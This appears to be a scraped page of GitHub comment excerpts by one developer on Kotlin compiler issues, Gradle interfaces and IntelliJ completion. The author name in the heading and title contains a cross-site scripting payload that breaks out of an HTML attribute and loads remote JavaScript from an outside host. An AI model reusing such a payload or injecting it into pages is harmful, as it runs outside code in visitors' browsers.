Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

Results 593 comments of Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

The TL;DR this is a really complicated issue that I don't think will ever be fixed in the Kotlin Compiler. https://youtrack.jetbrains.com/issue/KT-6653 > This is a rather deep issue, unfortunately. It's...

A simple fix would be to simply convert those interfaces to Kotlin but that would mean adding the Kotlin compiler to the core Gradle build. I'm guessing that will cause...

Having these interfaces implemented in Kotlin I don't think would add a dependency upon the Kotlin standard lib. I think that this compiled by the java compiler ```java interface Named...

This same problem arises when a plugin author overrides a task like `SourceTask` and wants to make it cacheable. For example, if you have this before: ```kotlin @CacheableTask open class...

I commented this in the above, but this should also be considered: ```kotlin class Bar {} operator fun Bar.invoke(block: Bar.() -> Unit): Unit = TODO() val bar = Bar() fun...

`null as String` will fail to cast (at runtime) I think. Does `null as? String` work or does it give the same error as @jnizet was experiencing?

@wolfs Traditionally, issues that are JB's issues have the title modified to reflect the external issue. I suggest you rename your issue to: > IDEA-199593: Intellij code completion for extension...

@eskatos I'm still seeing exactly the same problem in the IntelliJ logs. Versions: ``` ------------------------------------------------------------ Gradle 4.3.1 ------------------------------------------------------------ Build time: 2017-11-08 08:59:45 UTC Revision: e4f4804807ef7c2829da51877861ff06e07e006d Groovy: 2.4.12 Ant: Apache Ant(TM)...